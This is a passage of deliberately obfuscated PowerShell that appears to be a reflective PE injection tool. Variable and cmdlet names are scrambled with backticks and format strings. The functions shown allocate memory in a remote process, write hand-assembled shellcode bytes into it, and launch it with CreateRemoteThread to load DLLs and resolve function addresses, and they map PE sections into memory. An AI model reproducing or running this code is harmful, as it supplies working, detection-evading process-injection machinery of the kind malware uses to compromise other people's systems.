${PEi`N`Fo} | &("{2}{0}{1}"-f '-M','ember','Add') -MemberType ("{0}{1}{2}" -f 'No','te','Property') -Name ("{0}{3}{1}{2}" -f'S','onHeaderP','tr','ecti') -Value ${sectI`OnH`eADe`R`pTr} |
|
} |
|
else |
|
{ |
|
[IntPtr]${se`ctIon`hE`AdERpTr} = [IntPtr](&("{2}{3}{4}{1}{0}" -f 'd','ne','Add-Sign','edIntAs','Unsig') ([Int64]${PE`info}."n`THEadeR`s`PtR") ([System.Runtime.InteropServices.Marshal]::"sIZE`of"([Type]${WIN`32`TyPES}."imA`GE_n`T_hE`Ad`erS`32"))) |
|
${pEI`NFo} | &("{1}{3}{0}{2}" -f'Me','Ad','mber','d-') -MemberType ("{0}{1}{2}" -f 'Not','e','Property') -Name ("{0}{1}{3}{2}" -f'Se','ction','eaderPtr','H') -Value ${SeCT`IoN`H`EAde`RP`TR} |
|
} |
|
|
|
if ((${n`Th`eA`DE`RsINFO}."IMa`ge_Nt_h`e`A`dERs"."FILE`h`eadER"."ch`ARA`C`TeRi`STICS" -band ${w`in32C`On`sTaNts}."IMAgE`_FiLe_`D`Ll") -eq ${wiN32`COns`T`AnTS}."im`Ag`e`_fILe_DLl") |
|
{ |
|
${pE`in`Fo} | &("{0}{1}{2}" -f'Add-M','em','ber') -MemberType ("{2}{1}{0}" -f'operty','Pr','Note') -Name ("{1}{0}" -f 'leType','Fi') -Value 'DLL' |
|
} |
|
elseif ((${nt`HeA`D`ERsiNFO}."iMA`g`E_n`T_HeaD`ers"."fI`leH`eADer"."ch`ARAc`T`ERistIcS" -band ${wIn32`c`O`NSTA`Nts}."imaGe_Fi`LE_`EXeC`UtaBlE_`iM`AgE") -eq ${wiN32c`o`NstAN`Ts}."iMAGE_fI`LE`_ex`e`cUTa`BlE_Im`A`gE") |
|
{ |
|
${p`e`iNfO} | &("{0}{2}{1}"-f 'Add-','r','Membe') -MemberType ("{1}{3}{0}{2}" -f't','NotePr','y','oper') -Name ("{1}{0}" -f 'ileType','F') -Value 'EXE' |
|
} |
|
else |
|
{ |
|
Throw "" |
|
} |
|
|
|
return ${Pei`NFO} |
|
} |
|
|
|
|
|
Function I`Mpo`RT-dL`Li`NrEM`OtEPR`OceSs |
|
{ |
|
Param( |
|
[Parameter(pOSiTION=0, manDATOry=${T`RUE})] |
|
[IntPtr] |
|
${RE`Motepro`ChAn`dlE}, |
|
|
|
[Parameter(PoSItIOn=1, MAnDATORy=${T`RUe})] |
|
[IntPtr] |
|
${impOrt`d`L`L`PathPtr} |
|
) |
|
|
|
${Ptr`SIZE} = [System.Runtime.InteropServices.Marshal]::"sizE`OF"([Type][IntPtr]) |
|
|
|
${I`mpo`RTDlLpaTH} = [System.Runtime.InteropServices.Marshal]::"PTRtOST`RI`Ng`Ansi"(${imPO`RTD`Llpa`ThPTR}) |
|
${dlLPa`T`HSize} = [UIntPtr][UInt64]([UInt64]${iM`po`R`TDllPa`Th}."le`NGTh" + 1) |
|
${riMPORtDLL`p`A`THPtR} = ${Win3`2`FUNCT`i`ONs}."vIRTuA`lA`LL`oC`Ex"."Invo`ke"(${R`emotE`Pro`ChanDle}, [IntPtr]::"ZE`Ro", ${DlLpaTh`S`IZe}, ${win32c`ON`s`T`AntS}."mem_CoM`M`it" -bor ${Win32`cOnsTA`N`Ts}."mE`M_REseR`VE", ${wiN3`2c`o`NsTAnts}."pAge_RE`AdwR`ITe") |
|
if (${RImpORT`Dl`lPa`T`HP`Tr} -eq [IntPtr]::"ze`Ro") |
|
{ |
|
Throw "" |
|
} |
|
[UIntPtr]${NUMbYTE`sw`RITten} = [UIntPtr]::"zE`Ro" |
|
${S`U`CCESs} = ${wIn3`2`FUNCti`onS}."W`RiTePro`c`eSSME`M`oRY"."I`NVOKE"(${RemOTep`RO`Ch`AnDlE}, ${rIM`portdLL`PA`THPtr}, ${Im`PorTDLLp`Ath`P`TR}, ${DLLp`AThs`i`zE}, [Ref]${num`BY`TeSW`Rit`Ten}) |
|
|
|
if (${Su`cCE`ss} -eq ${Fa`l`Se}) |
|
{ |
|
Throw "" |
|
} |
|
if (${DlLPA`T`hSize} -ne ${nu`mByT`EswRITTeN}) |
|
{ |
|
Throw "" |
|
} |
|
|
|
${KeR`NEL3`2H`A`Ndle} = ${wi`N32`FU`NcT`IOnS}."GeTMO`DuL`e`hAn`Dle"."inV`Oke"("kernel32.dll") |
|
${lOA`dlibRar`y`AA`ddr} = ${Win3`2f`Un`ctiONs}."GeTpR`o`CAddR`esS"."iN`Vo`Ke"(${kEr`Nel3`2hAnDLE}, "LoadLibraryA") |
|
|
|
[IntPtr]${d`lLaDD`R`EsS} = [IntPtr]::"z`erO" |
|
if (${Pe`i`NFo}."pe64B`iT" -eq ${T`RUE}) |
|
{ |
|
${lO`ADlIBRary`ArE`Tmem} = ${w`i`N3`2f`UNctiONS}."virTUA`Lal`LOcEX"."iN`Vo`Ke"(${ReMot`eprOC`H`An`Dle}, [IntPtr]::"Z`ero", ${D`lLpATh`sI`ze}, ${w`i`N32C`oNStAntS}."mem`_cO`m`MIT" -bor ${w`i`N32C`OnsTANtS}."m`EM_`R`EServe", ${wI`N3`2c`on`stAnTS}."pAGE_R`eADW`R`itE") |
|
if (${LOadLibRarY`A`R`et`MEM} -eq [IntPtr]::"z`ERO") |
|
{ |
|
Throw "" |
|
} |
|
|
|
|
|
${LOADLi`B`RAr`ysC1} = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) |
|
${lO`ADl`ib`RArYsc2} = @(0x48, 0xba) |
|
${lo`AdL`iB`RaryS`c3} = @(0xff, 0xd2, 0x48, 0xba) |
|
${lO`A`DLI`BRarySc4} = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3) |
|
|
|
${sClE`N`GTh} = ${lo`A`DlIbRa`RySC1}."LEN`g`Th" + ${L`o`ADl`IBrarySc2}."L`e`NGTH" + ${LoA`dLiB`RAry`S`C3}."Len`GTH" + ${LOa`dlib`RAR`Ysc4}."lenG`TH" + (${P`TrSiZE} * 3) |
|
${scPS`mEm} = [System.Runtime.InteropServices.Marshal]::"aLLo`Ch`gLO`BAL"(${sC`L`e`NGth}) |
|
${SC`p`sMe`mOrigiN`AL} = ${scpS`MEM} |
|
|
|
&("{5}{0}{3}{2}{1}{4}" -f'rite','Mem','BytesTo','-','ory','W') -Bytes ${LOaDLI`B`RaRYs`c1} -MemoryAddress ${SC`pSM`Em} |
|
${s`CPS`meM} = &("{3}{4}{0}{2}{1}"-f 'Si','ned','gnedIntAsUnsig','Ad','d-') ${s`CP`SmEm} (${lO`AD`l`iBrARysC1}."L`e`NGtH") |
|
[System.Runtime.InteropServices.Marshal]::"sT`RUc`TU`REtop`TR"(${rI`mPORTD`LlP`A`ThPTR}, ${S`c`PSmeM}, ${fa`lSE}) |
|
${s`cp`smEm} = &("{2}{0}{3}{1}"-f'Uns','gned','Add-SignedIntAs','i') ${sC`P`SmEm} (${pT`R`SIZE}) |
|
&("{2}{0}{3}{4}{1}" -f 'BytesToMe','y','Write-','m','or') -Bytes ${LO`ADLIBr`ARYSC2} -MemoryAddress ${sc`Ps`MEm} |
|
${sCpS`m`Em} = &("{0}{1}{4}{5}{2}{3}"-f 'Add-','Si','dIntAsUnsigne','d','gn','e') ${s`cp`smeM} (${L`OaDL`Ibra`R`YSC2}."L`engTH") |
|
[System.Runtime.InteropServices.Marshal]::"st`RU`Ctu`REtOPTr"(${lOaDlI`B`RA`RY`A`ADdR}, ${s`C`psMEM}, ${F`Alse}) |
|
${SC`PSm`em} = &("{3}{4}{1}{2}{5}{0}"-f 'gned','Si','gnedIntAsU','Add','-','nsi') ${SCP`sm`Em} (${P`T`RSIZe}) |
|
&("{2}{5}{4}{1}{0}{3}"-f'BytesToMem','e-','W','ory','t','ri') -Bytes ${loaDlib`R`Ary`Sc3} -MemoryAddress ${S`CPSm`EM} |
|
${ScPsm`em} = &("{1}{4}{2}{0}{3}"-f 'ns','A','gnedIntAsU','igned','dd-Si') ${SC`P`sMEm} (${loa`DliBr`A`R`YsC3}."l`EN`gTH") |
|
[System.Runtime.InteropServices.Marshal]::"sTRuctuRe`T`o`ptr"(${L`oad`L`ibR`ArY`AR`eTmEm}, ${scP`sMEM}, ${fAl`se}) |
|
${s`cpsmem} = &("{3}{4}{1}{2}{0}"-f'Unsigned','I','ntAs','Add-Sig','ned') ${ScP`sM`em} (${pTR`SI`zE}) |
|
&("{0}{4}{2}{3}{1}"-f'W','mory','e-Byt','esToMe','rit') -Bytes ${LOa`dL`i`BraRYsc4} -MemoryAddress ${s`cpSMEm} |
|
${s`cPsMem} = &("{0}{1}{2}{3}" -f 'Add-SignedIn','tAsU','nsig','ned') ${scPs`m`EM} (${lOADLibrA`R`yS`c4}."L`EngTH") |
|
|
|
${r`sc`ADDr} = ${WI`N32fU`NctI`O`NS}."viR`Tu`Al`AllOceX"."iNv`o`KE"(${rE`mo`TEpROchA`NDlE}, [IntPtr]::"Z`eRo", [UIntPtr][UInt64]${SC`leN`GTh}, ${w`IN32`Cons`TANTs}."m`eM`_`COMmIT" -bor ${wiN32`c`oN`STAN`TS}."m`EM_ReSer`VE", ${WIn32coN`S`TAntS}."p`Age`_e`xEcUTE_`R`EAd`WRite") |
|
if (${RS`cADDr} -eq [IntPtr]::"Z`ERO") |
|
{ |
|
Throw "" |
|
} |
|
|
|
${sUc`ceSs} = ${Win`3`2FU`NctIO`NS}."wR`iTeprOC`E`SsMEmOry"."INVO`kE"(${rEmotE`Pro`ch`AnDle}, ${r`scA`Ddr}, ${sc`ps`mem`ORI`gi`NAL}, [UIntPtr][UInt64]${S`clE`NGTH}, [Ref]${nu`mbYT`esW`R`IttEN}) |
|
if ((${S`Ucce`SS} -eq ${Fal`sE}) -or ([UInt64]${Num`BYTe`SWri`T`Ten} -ne [UInt64]${Sc`l`engtH})) |
|
{ |
|
Throw "" |
|
} |
|
|
|
${RthRe`ADhand`le} = &("{1}{4}{3}{2}{0}"-f'moteThread','Cr','e-Re','t','ea') -ProcessHandle ${rEM`OTE`pRoch`A`N`dLE} -StartAddress ${R`scAd`dr} -Win32Functions ${W`In32Func`Tio`Ns} |
|
${R`eSU`lT} = ${WiN32f`Unc`T`i`ONs}."WAitF`o`Rsingle`oBject"."IN`VokE"(${RTHR`e`AD`HaNdle}, 20000) |
|
if (${RE`s`ULt} -ne 0) |
|
{ |
|
Throw "" |
|
} |
|
|
|
[IntPtr]${reT`U`RNVa`lmeM} = [System.Runtime.InteropServices.Marshal]::"al`LOcHgLO`B`Al"(${PT`Rsi`zE}) |
|
${rE`Sult} = ${wIN32`F`UnCtI`o`Ns}."Re`AdPRoCES`SM`emOry"."InVO`Ke"(${ReMOtE`PR`oCh`AndLe}, ${lOAd`Li`BRARy`ARet`m`em}, ${R`et`Ur`NVALMEM}, [UIntPtr][UInt64]${PTr`Size}, [Ref]${NumByT`E`sWRIt`T`en}) |
|
if (${R`ES`Ult} -eq ${F`AlsE}) |
|
{ |
|
Throw "" |
|
} |
|
[IntPtr]${dLl`ADd`Ress} = [System.Runtime.InteropServices.Marshal]::"p`TRTOst`Ru`cturE"(${ReT`URNV`AlMeM}, [Type][IntPtr]) |
|
${w`In`32`FUNC`TioNs}."VirTUalFr`e`EEX"."iN`VoKE"(${REMOte`proC`Ha`NDLe}, ${Lo`AD`LIB`R`ARY`A`ReTmEM}, [UIntPtr][UInt64]0, ${wi`N3`2coNStAnTs}."mEm`_REL`E`ASe") | &("{1}{2}{0}"-f'l','Out-N','ul') |
|
${wIN32f`U`NCt`I`ons}."VI`Rt`UA`l`FReeeX"."i`NVOKE"(${REmotEPro`CHA`Nd`le}, ${rs`CAd`dr}, [UIntPtr][UInt64]0, ${WIn32C`O`NsT`An`Ts}."mEm_`R`eLea`Se") | &("{0}{1}" -f 'O','ut-Null') |
|
} |
|
else |
|
{ |
|
[IntPtr]${rt`h`RE`AdHA`NdlE} = &("{4}{1}{2}{3}{0}"-f 'd','te-','Re','moteThrea','Crea') -ProcessHandle ${REMO`T`eP`RoC`HaNdlE} -StartAddress ${LOAD`L`ib`RAry`Aad`DR} -ArgumentPtr ${rI`mpo`RTdllPat`H`pTR} -Win32Functions ${WiN32f`U`NctIO`Ns} |
|
${r`e`suLT} = ${W`IN`32FUNCTi`Ons}."w`AIt`Fors`i`NglEO`BjECT"."inVO`kE"(${RT`HRE`Ad`HanDle}, 20000) |
|
if (${Res`U`LT} -ne 0) |
|
{ |
|
Throw "" |
|
} |
|
|
|
[Int32]${eXiT`c`O`DE} = 0 |
|
${R`esU`lt} = ${WI`N3`2`FunCTIoNs}."gET`e`xITCo`DE`THReAD"."in`Vo`ke"(${r`THReA`dHA`NDlE}, [Ref]${eXI`TCO`dE}) |
|
if ((${r`eSu`lT} -eq 0) -or (${exit`cO`DE} -eq 0)) |
|
{ |
|
Throw "" |
|
} |
|
|
|
[IntPtr]${DL`la`d`dREsS} = [IntPtr]${e`xi`TcodE} |
|
} |
|
|
|
${wIN3`2fU`NCtiO`NS}."VIR`TUA`lFR`EEeX"."IN`VOkE"(${rem`oteproc`HaNd`Le}, ${R`imp`oRTdllp`A`ThPtr}, [UIntPtr][UInt64]0, ${W`In32`c`ONS`TanTs}."m`E`M`_RelEaSE") | &("{2}{0}{1}" -f 't-Nul','l','Ou') |
|
|
|
return ${d`ll`AD`DresS} |
|
} |
|
|
|
|
|
Function g`e`T-Re`moT`EPRocAdDrEsS |
|
{ |
|
Param( |
|
[Parameter(pOsiTIOn=0, mANdATOry=${t`RUE})] |
|
[IntPtr] |
|
${R`E`mo`Te`pROch`ANDLE}, |
|
|
|
[Parameter(POSition=1, MaNdAtory=${t`RuE})] |
|
[IntPtr] |
|
${RE`mOtE`Dllhand`LE}, |
|
|
|
[Parameter(posItIoN=2, mAndatORy=${t`RuE})] |
|
[IntPtr] |
|
${fU`NctiO`N`NAMeptr}, |
|
[Parameter(PoSitIoN=3, maNdatorY=${t`RUE})] |
|
[Bool] |
|
${l`oADb`yORDINAl} |
|
) |
|
${pt`R`siZe} = [System.Runtime.InteropServices.Marshal]::"SI`zeoF"([Type][IntPtr]) |
|
[IntPtr]${RfU`NcN`AMep`Tr} = [IntPtr]::"Z`ERo" |
|
if (-not ${LOAdB`Yo`R`dINAl}) |
|
{ |
|
${F`UncTI`ONnaMe} = [System.Runtime.InteropServices.Marshal]::"PTr`T`OSTrINg`ANsI"(${funCtI`o`Nn`Ameptr}) |
|
${f`UNcTI`o`N`NamesIze} = [UIntPtr][UInt64]([UInt64]${FUncTI`Onna`mE}."L`EnGtH" + 1) |
|
${r`FUNcNAMeP`TR} = ${WIN32`FUnC`T`iONs}."vIRtuA`Lall`o`C`Ex"."invO`kE"(${ReMoTe`PR`o`CHa`N`dLE}, [IntPtr]::"Z`Ero", ${F`UnC`Tio`NnamEsI`Ze}, ${wI`N32co`Ns`TAnTs}."me`M_`cOMmIT" -bor ${WiN`32C`ONs`TAN`TS}."mem_R`EsE`RvE", ${wI`N32Con`s`TaNts}."pAge_`R`ea`DwRitE") |
|
if (${rF`UnCNam`EpTr} -eq [IntPtr]::"z`eRO") |
|
{ |
|
Throw "" |
|
} |
|
[UIntPtr]${n`UMB`Y`TeS`WRitT`En} = [UIntPtr]::"ze`RO" |
|
${SuCC`E`sS} = ${WIn32fu`N`CtiO`NS}."Wr`ItEPRoCEs`SMe`M`oRY"."Inv`OkE"(${Rem`OtEP`RoCh`A`NDLE}, ${r`FUNcn`A`MePTr}, ${Function`NAm`e`PTr}, ${func`TIOn`N`A`MEsIZE}, [Ref]${n`UMb`YTe`sWRIT`TEN}) |
|
if (${s`U`cCess} -eq ${FA`LSE}) |
|
{ |
|
Throw "" |
|
} |
|
if (${fuN`CtIo`N`N`AMeSizE} -ne ${NUM`BytEs`w`R`itTEN}) |
|
{ |
|
Throw "" |
|
} |
|
} |
|
else |
|
{ |
|
${r`FUncNa`M`ePtR} = ${FUN`CTioNnAM`e`ptr} |
|
} |
|
|
|
${kErn`el3`2han`dLE} = ${w`in`32`FunCT`iONS}."GE`TModu`LehAN`DlE"."INv`o`Ke"("kernel32.dll") |
|
${GeT`PR`o`C`ADdRESSa`DDr} = ${WI`N3`2fu`NcTi`onS}."GetP`RocaDD`R`E`ss"."in`VOke"(${KerNel`3`2`hAndLE}, "GetProcAddress") |
|
|
|
${gEtpROc`A`ddrE`s`SrETmeM} = ${wi`N32fuN`C`TIONs}."vI`Rtu`AlaL`loCEx"."inv`O`kE"(${rem`oTEPrO`c`H`AnDLE}, [IntPtr]::"Z`eRo", [UInt64][UInt64]${p`Trsi`ze}, ${wi`N3`2cONsT`AnTS}."meM`_Com`mIT" -bor ${wIn`32co`NSTA`NtS}."M`em_reSE`Rve", ${w`In32cO`Nstants}."PagE_REaD`W`R`Ite") |
|
if (${GetpRoc`A`dd`RESs`R`EtmeM} -eq [IntPtr]::"Ze`Ro") |
|
{ |
|
Throw "" |
|
} |
|
|
|
|
|
[Byte[]]${GE`T`pRO`cAD`DReSsSC} = @() |
|
if (${p`EInfO}."pE`64bit" -eq ${Tr`Ue}) |
|
{ |
|
${geTpRo`C`AD`dr`esS`sC1} = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) |
|
${GeTPrO`caD`d`Re`sssC2} = @(0x48, 0xba) |
|
${g`etp`Roc`A`DdRESssc3} = @(0x48, 0xb8) |
|
${g`et`PrOCa`dDre`SSsc4} = @(0xff, 0xd0, 0x48, 0xb9) |
|
${GE`Tpr`OcAd`DRESs`sc5} = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3) |
|
} |
|
else |
|
{ |
|
${geTpro`C`AdDReSS`sC1} = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8) |
|
${gEtPr`OCaDdR`e`SS`sc2} = @(0xb9) |
|
${getProcaD`d`REs`sS`C3} = @(0x51, 0x50, 0xb8) |
|
${GEtp`R`OCad`D`RESs`sC4} = @(0xff, 0xd0, 0xb9) |
|
${geT`pROC`A`ddre`SsSc5} = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3) |
|
} |
|
${sCl`eNg`Th} = ${getp`Roc`AdDressS`C1}."l`En`GtH" + ${gEt`Proc`Add`ReSSS`C2}."l`E`NgtH" + ${gET`pro`CADd`R`eSSsC3}."lE`Ng`Th" + ${gEt`PROCaDd`ResSs`c4}."L`enGTH" + ${gE`T`PROCaDd`ResSS`c5}."lEn`GtH" + (${PTR`sIze} * 4) |
|
${S`Cps`MEM} = [System.Runtime.InteropServices.Marshal]::"a`LlOChgL`obal"(${SC`lenGth}) |
|
${scpSM`Em`orIG`in`AL} = ${s`cpSM`Em} |
|
|
|
&("{2}{1}{3}{0}"-f'ry','ite-Bytes','Wr','ToMemo') -Bytes ${G`Etp`R`oCa`dDreSSS`C1} -MemoryAddress ${Sc`PS`mem} |
|
${scPsM`em} = &("{5}{3}{2}{1}{0}{4}"-f'ign','ntAsUns','ignedI','dd-S','ed','A') ${s`cP`smeM} (${getPROC`ADd`R`eSSSc1}."l`ENgth") |
|
[System.Runtime.InteropServices.Marshal]::"s`T`RuCTUrETOp`Tr"(${ReMOTedllh`An`d`Le}, ${S`cpS`mEm}, ${FA`LSE}) |
|
${S`cPSm`EM} = &("{0}{2}{5}{4}{1}{3}{6}"-f 'A','g','dd-S','n','tAsUnsi','ignedIn','ed') ${s`Cp`SMEM} (${p`TrSi`zE}) |
|
&("{1}{0}{3}{2}"-f'tes','Write-By','mory','ToMe') -Bytes ${geTpR`ocAD`DResss`c2} -MemoryAddress ${S`CpSM`eM} |
|
${s`CPSM`EM} = &("{5}{2}{0}{4}{7}{1}{3}{6}"-f 'S','ed','-','I','i','Add','ntAsUnsigned','gn') ${ScPS`M`eM} (${g`ET`PROc`ADDres`ssC2}."le`N`GTh") |
|
[System.Runtime.InteropServices.Marshal]::"S`TRUc`TurE`TO`ptR"(${rF`UNCN`A`mEpTR}, ${scpsm`EM}, ${fa`L`Se}) |
|
${sC`p`SMeM} = &("{0}{2}{3}{1}" -f'Add-Sign','ed','edIn','tAsUnsign') ${scP`Smem} (${ptRSi`ze}) |
|
&("{2}{1}{3}{0}"-f 'ry','-BytesTo','Write','Memo') -Bytes ${geTpRo`cA`DDReSSs`c3} -MemoryAddress ${scP`sM`Em} |
|
${Scp`SMEM} = &("{6}{5}{1}{0}{3}{4}{2}"-f'ig','d-S','sUnsigned','nedInt','A','d','A') ${SC`Psm`EM} (${g`e`TpROcAdd`ReSSsc3}."LeN`gTH") |
|
[System.Runtime.InteropServices.Marshal]::"s`TRuct`URe`T`OPTR"(${geT`PR`o`caDDreS`sADDr}, ${Sc`pSM`Em}, ${Fal`SE}) |
|
${scPsM`Em} = &("{2}{0}{4}{6}{3}{1}{5}"-f 'Sig','ne','Add-','nsig','n','d','edIntAsU') ${sc`psmEm} (${P`TRsIZe}) |
|
&("{2}{1}{3}{0}"-f 'y','e-BytesTo','Writ','Memor') -Bytes ${GETPRoCAD`DRe`s`SsC4} -MemoryAddress ${SC`PS`mEm} |
|
${SC`p`SmEm} = &("{0}{2}{3}{1}" -f'A','ed','dd-S','ignedIntAsUnsign') ${ScPS`m`eM} (${Ge`TProCADdr`eSsS`c4}."L`e`NgtH") |
|
[System.Runtime.InteropServices.Marshal]::"STRuc`Ture`TO`ptR"(${Getp`R`o`CAddrESs`RetMEm}, ${s`Cps`mEm}, ${F`ALse}) |
|
${SCP`Sm`eM} = &("{4}{0}{3}{5}{1}{2}" -f'gn','ne','d','edIntAsUns','Add-Si','ig') ${s`cPsmem} (${P`TRSiZe}) |
|
&("{3}{0}{2}{1}{4}"-f'e-By','oMem','tesT','Writ','ory') -Bytes ${GEtPr`OCaDdR`Es`S`sc5} -MemoryAddress ${sC`p`SMEM} |
|
${sc`PSMem} = &("{4}{3}{1}{0}{5}{2}" -f'sUn','dIntA','gned','d-Signe','Ad','si') ${S`CPs`mEM} (${gEtP`R`Oca`DDR`eSssC5}."leNg`Th") |
|
|
|
${RscaD`DR} = ${win`32fUnC`TIONS}."VIrtUa`La`LLoC`ex"."Inv`okE"(${rE`MOTEpR`o`CHan`Dle}, [IntPtr]::"Ze`Ro", [UIntPtr][UInt64]${Sc`L`EnGtH}, ${wIn3`2co`NSta`NtS}."m`e`M_Com`mIT" -bor ${WIN32`cOn`sT`AN`Ts}."me`M`_reSErVE", ${W`iN32`consT`ANTS}."page_EX`e`CUT`e_ReA`d`wRIte") |
|
if (${rScA`d`DR} -eq [IntPtr]::"zE`Ro") |
|
{ |
|
Throw "" |
|
} |
|
[UIntPtr]${NU`MBY`TE`Sw`RiTTEN} = [UIntPtr]::"Z`ErO" |
|
${su`CcEss} = ${wIN32`FUncT`io`NS}."wr`Ite`pR`oCEsSmeMOrY"."i`Nvo`Ke"(${r`EmOTe`pRo`CHAN`dLE}, ${R`SCAd`dR}, ${sCpSm`em`OrIgINAL}, [UIntPtr][UInt64]${S`Cl`ength}, [Ref]${NUMbYtes`wr`iTt`EN}) |
|
if ((${S`UcC`ESS} -eq ${FAl`sE}) -or ([UInt64]${n`U`M`BYtesWRItTEN} -ne [UInt64]${scL`ENgth})) |
|
{ |
|
Throw "" |
|
} |
|
|
|
${RtHread`h`A`N`dle} = &("{2}{4}{0}{1}{3}" -f '-R','e','Cre','moteThread','ate') -ProcessHandle ${R`e`moT`Ep`ROCha`Ndle} -StartAddress ${r`SCaDdr} -Win32Functions ${WiN32fu`NCtI`Ons} |
|
${rE`su`lt} = ${WIN3`2fuNcTI`ons}."w`AItFOrSI`NGl`EOBJECT"."I`NvOKE"(${rtH`R`eAD`HandLe}, 20000) |
|
if (${R`ESU`LT} -ne 0) |
|
{ |
|
Throw "" |
|
} |
|
|
|
[IntPtr]${re`TUrNvaL`M`em} = [System.Runtime.InteropServices.Marshal]::"ALl`ochglo`BaL"(${PT`RSi`ze}) |
|
${Re`SU`lT} = ${wi`N`32FunC`TI`ons}."REAd`p`ROCEssMe`MORY"."InvO`ke"(${rEMot`E`Procha`ND`lE}, ${GE`TpR`oCadd`RES`sR`ETmEm}, ${r`E`T`Urnval`mEM}, [UIntPtr][UInt64]${PT`RSIze}, [Ref]${num`By`TesWRiTTeN}) |
|
if ((${r`E`sULt} -eq ${F`AL`se}) -or (${nUmbYTEswri`T`TeN} -eq 0)) |
|
{ |
|
Throw "" |
|
} |
|
[IntPtr]${pR`OCADd`ResS} = [System.Runtime.InteropServices.Marshal]::"PTrTos`TRUctu`RE"(${rEtuR`NVaL`M`em}, [Type][IntPtr]) |
|
${wiN32`FU`N`CtiONs}."VIr`TU`Al`FRe`eeX"."i`NvO`kE"(${rEmOtEP`R`ocH`AN`Dle}, ${rSc`Ad`dr}, [UIntPtr][UInt64]0, ${wIN32Co`NS`TA`N`Ts}."M`Em`_RELEaSE") | &("{0}{2}{1}"-f'Out','ll','-Nu') |
|
${WiN`32`FunCTi`ONS}."VirTUA`lfr`E`EeX"."INv`OkE"(${REmOte`P`Ro`chanD`le}, ${GEtProCadD`REssR`et`m`EM}, [UIntPtr][UInt64]0, ${Wi`N3`2CONStAn`TS}."MeM`_`ReLEASE") | &("{1}{0}{2}"-f'ut','O','-Null') |
|
if (-not ${Loa`dB`yo`Rdi`NAL}) |
|
{ |
|
${wi`N32f`UNcTiONS}."vIRTuaL`F`Reeex"."inV`o`Ke"(${REm`o`TePro`CH`ANDle}, ${RFu`N`cNAmEP`TR}, [UIntPtr][UInt64]0, ${WiN3`2c`oNStAn`Ts}."m`eM_`RE`leaSe") | &("{2}{0}{1}" -f'ut-','Null','O') |
|
} |
|
|
|
return ${Pr`Oc`AdD`Ress} |
|
} |
|
Function CO`PY-SectI`O`Ns |
|
{ |
|
Param( |
|
[Parameter(pOsITION = 0, mAnDaTORy = ${t`RUE})] |
|
[Byte[]] |
|
${peby`T`eS}, |
|
|
|
[Parameter(POSitiOn = 1, mANDAtORY = ${tr`UE})] |
|
[System.Object] |
|
${PE`I`NFO}, |
|
|
|
[Parameter(posiTion = 2, mandAToRY = ${t`RUe})] |
|
[System.Object] |
|
${wI`N32`FU`N`CTIONs}, |
|
|
|
[Parameter(pOSItIOn = 3, ManDAtORY = ${T`RuE})] |
|
[System.Object] |
|
${wI`N32TYp`eS} |
|
) |
|
|
|
for( ${I} = 0; ${i} -lt ${pe`InFO}."iMagE`_n`T_`Hea`DeRs"."f`ILEhE`AdeR"."nu`mBER`O`FseC`TIOnS"; ${I}++) |
|
{ |
|
[IntPtr]${s`ECtiONh`eADE`Rptr} = [IntPtr](&("{5}{0}{2}{4}{7}{6}{3}{1}"-f'-S','ned','ign','Unsig','e','Add','tAs','dIn') ([Int64]${p`ei`NFO}."s`ECT`iOnh`e`ADErPTr") (${I} * [System.Runtime.InteropServices.Marshal]::"SIz`EOF"([Type]${Win3`2ty`PeS}."imA`GE`_SEcT`i`On_heAd`er"))) |
|
${SE`CTIoN`h`eAD`ER} = [System.Runtime.InteropServices.Marshal]::"ptRT`OStruC`Ture"(${S`EctiON`heADeR`ptr}, [Type]${WIN3`2Ty`PEs}."IMag`e`_seCtI`on_heaDEr") |
|
|
|
[IntPtr]${seCtionde`s`Taddr} = [IntPtr](&("{3}{0}{6}{4}{5}{2}{1}"-f 'Si','ed','n','Add-','IntA','sUnsig','gned') ([Int64]${P`EIn`Fo}."P`eh`Andle") ([Int64]${S`e`CtIoNh`e`AdER}."VI`RtUaL`Ad`D`REsS")) |
|
|
|
${siZ`EOfraWDa`TA} = ${sE`ctIOnh`EA`dER}."s`IzEoFra`w`D`ATa" |
|
if (${SECTIo`NHEa`DER}."P`Oi`Nt`E`RToRaWDAta" -eq 0) |
|
{ |
|
${siZ`eoFrAW`d`A`Ta} = 0 |
|
} |
|
|
|
if (${sIZ`eofRa`Wd`A`TA} -gt ${SeCTI`oN`H`eadEr}."VI`RTua`lsi`ZE") |
|
{ |
|
${SIze`O`F`RAWda`TA} = ${sECT`Ion`hE`AdEr}."VIr`TuAl`SIZe" |
|
} |
|
|
|
if (${S`izeOfrA`wd`ATa} -gt 0) |
|
{ |
|
&("{3}{1}{2}{0}{5}{4}{6}"-f 'Ran','em','ory','Test-M','eVa','g','lid') -DebugString "Copy-Sections::MarshalCopy" -PEInfo ${pEIN`FO} -StartAddress ${se`CTi`o`NDEStAd`DR} -Size ${S`Izeo`FRAWD`Ata} | &("{2}{1}{0}"-f 'l','-Nul','Out') |
|
[System.Runtime.InteropServices.Marshal]::"C`opY"(${p`EB`yteS}, [Int32]${SectiON`hEA`D`eR}."Poi`NtErTOr`A`WdAtA", ${s`ECTI`O`ND`eS`Taddr}, ${SizE`OfR`AwD`ATA}) |
|
} |
|
|
|
if (${s`EC`TiOnHEa`DER}."SiZ`EOfRA`wdAtA" -lt ${SeCt`i`OnH`E`ADer}."vi`RTUAl`sIZe") |
|
{ |
|
${D`i`FFEReNCe} = ${sE`cti`ONhE`ADeR}."virtUa`L`sizE" - ${siZ`EOF`RaW`dAta} |
|
[IntPtr]${ST`A`RtaDdR`e`ss} = [IntPtr](&("{6}{1}{2}{5}{4}{3}{0}" -f 'ned','-Sign','ed','ig','s','IntAsUn','Add') ([Int64]${SECtIOnDESTa`D`Dr}) ([Int64]${SI`ZEofr`Aw`dATA})) |
|
&("{0}{1}{4}{2}{3}" -f 'Test-Me','m','RangeVal','id','ory') -DebugString "Copy-Sections::Memset" -PEInfo ${PE`in`Fo} -StartAddress ${S`T`AR`TaD`dress} -Size ${DiF`F`erEncE} | &("{1}{2}{0}"-f'Null','O','ut-') |
|
